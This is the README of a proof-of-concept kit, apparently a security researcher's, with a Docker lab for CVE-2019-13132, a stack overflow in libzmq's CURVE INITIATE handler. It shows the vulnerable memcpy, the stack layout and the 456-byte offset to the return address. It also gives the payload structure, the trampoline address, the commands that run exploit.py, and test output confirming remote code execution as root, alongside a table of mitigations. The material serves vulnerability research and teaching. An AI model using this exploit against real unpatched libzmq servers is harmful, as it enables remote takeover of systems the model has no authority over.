
CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → RCE. Exploit funcional + laboratorio Docker.
Exploit RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-13132, un desbordamiento de búfer de pila en el manejador del handshake CURVE INITIATE de libzmq. Un atacante que conozca la clave pública de largo plazo del servidor (un parámetro público por diseño) puede desbordar un búfer de pila de tamaño fijo en process_initiate(), sobrescribir la dirección de retorno guardada y redirigir la ejecución hacia código arbitrario.
Por Nicolas Krassas (@dinosn).
Solo para uso en laboratorio. Este kit incluye una versión de libzmq 4.3.0 intencionalmente vulnerable con las mitigaciones desactivadas. No expongas el puerto 5556 fuera del laboratorio. El fallo se corrigió en libzmq 4.3.2.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
Prueba de humo automatizada (ejecuta el exploit y verifica el archivo de prueba):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box es un búfer asignado en la pila de 416 bytes. El memcpy escribe size - 113 bytes en la región de payload de 400 bytes (desplazamiento 16..415). Cualquier INITIATE con size > 513 desborda el búfer y alcanza los registros del callee guardados y la dirección de retorno.
La verificación de la cookie ocurre antes del desbordamiento, por lo que el INITIATE debe incluir una cookie genuina — pero la cookie se obtiene del mensaje WELCOME previo usando únicamente la clave pública de largo plazo del servidor.
El protocolo CURVE está diseñado para que los clientes ya posean la clave pública de largo plazo del servidor (está en la URI de conexión o en la configuración). El exploit:
memcpy vulnerable se dispara.No se requieren credenciales de nivel de aplicación. No hay omisión de la autenticación ZAP. El desbordamiento se dispara durante el intercambio de claves CURVE, antes de que la aplicación llegue a ver al peer.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
El exploit envía 464 bytes de payload: 456 bytes de relleno (0x41) para alcanzar la dirección de retorno, seguidos de 8 bytes que contienen la dirección de lab_trampoline().
Después del desbordamiento, crypto_box_open() falla (los datos desbordados son texto cifrado basura). La ruta de error registra el fallo, establece errno y devuelve -1 — pero la ruta de error solo accede a ubicaciones de pila por debajo de la región desbordada (RSP+0xe0, RSP+0xf0, RSP+0x280), por lo que se ejecuta limpiamente con la pila corrupta.
El epílogo de la función (add $0x628,%rsp; pop rbx-r15; ret) extrae los registros guardados corruptos (ahora 0x4141414141414141) y luego ret carga la dirección de nuestro trampolín.
lab_trampoline() utiliza syscalls directos (sin libc, sin fork()) para escribir el archivo de prueba:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
Se utilizan syscalls directos en lugar de system() / fork() porque process_initiate() se ejecuta en el hilo de E/S de libzmq — llamar a fork() desde un hilo distinto al principal en un proceso multi-hilo provoca un interbloqueo en los manejadores de bloqueo pthread_atfork de glibc.
La clave pública de largo plazo del servidor es un parámetro público en el protocolo CurveZMQ: los clientes deben tenerla para conectarse. Normalmente se distribuye en archivos de configuración, URIs o mecanismos de descubrimiento. El exploit no requiere ningún material secreto.
El exploit necesita dos valores:
| campo | valor | fuente |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (binario no PIE, dirección fija) |
offset_to_ret | 456 | desensamblado de process_initiate (0x658 - 0x490) |
Ambos están hardcodeados en exploit.py como valores integrados por defecto para la compilación del laboratorio Docker (Debian 12, gcc 12, libzmq 4.3.0). No se requiere ningún paso de calibración — basta con ejecutar el exploit:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
Prioridad de resolución: flags --trampoline/--offset → archivo --profile → /opt/zmq-curve-rce/profile.json → valores integrados por defecto.
ZMTP no tiene API de introspección. El greeting solo revela la versión del protocolo (3.x) y el mecanismo (CURVE) — nada sobre la compilación de libzmq, el compilador ni la disposición del binario. No existe un identificador de compilación accesible en tiempo de ejecución que permita la selección automática de offsets contra objetivos desconocidos.
Los scripts calibrate.sh / compute_offsets.py se proporcionan para recompilaciones en diferentes distros o versiones de gcc, donde la dirección del trampolín puede variar. Dentro del laboratorio Docker se ejecutan automáticamente, pero no son necesarios.
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| Defensa | Efecto |
|---|---|
| Actualizar a libzmq >= 4.3.2 | Corregido. Añade una comprobación de límite superior al tamaño de INITIATE antes del memcpy. |
Canarios de pila (-fstack-protector) | Detecta el desbordamiento antes de que la función retorne. El canario se encuentra entre las variables locales y los registros guardados; el desbordamiento lo corrompe, activando __stack_chk_fail. |
| ASLR | Aleatoriza las direcciones de las bibliotecas compartidas y de la pila. El trampolín está en un binario no PIE (dirección fija), pero un servidor de producción sería PIE, lo que requeriría una fuga de información. |
| PIE | Aleatoriza la dirección de carga del binario del servidor. La dirección del trampolín ya no sería predecible sin una fuga. |
| NX | No es relevante aquí — no se inyecta shellcode; el exploit llama a código existente. |
| ZAP / autenticación de nivel de aplicación | No ayuda — el desbordamiento se dispara durante el intercambio de claves CURVE, antes de que se consulte a ZAP. |
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # restore ASLR
Nicolas Krassas — @dinosn
MIT. El código fuente de la versión de libzmq 4.3.0 intencionalmente vulnerable se obtiene en tiempo de compilación desde el repositorio upstream LGPLv3-con-excepciones / MPLv2.
Para investigación defensiva de seguridad, educación y pruebas de seguridad autorizadas únicamente. No despliegues la compilación vulnerable incluida fuera de un entorno de laboratorio aislado.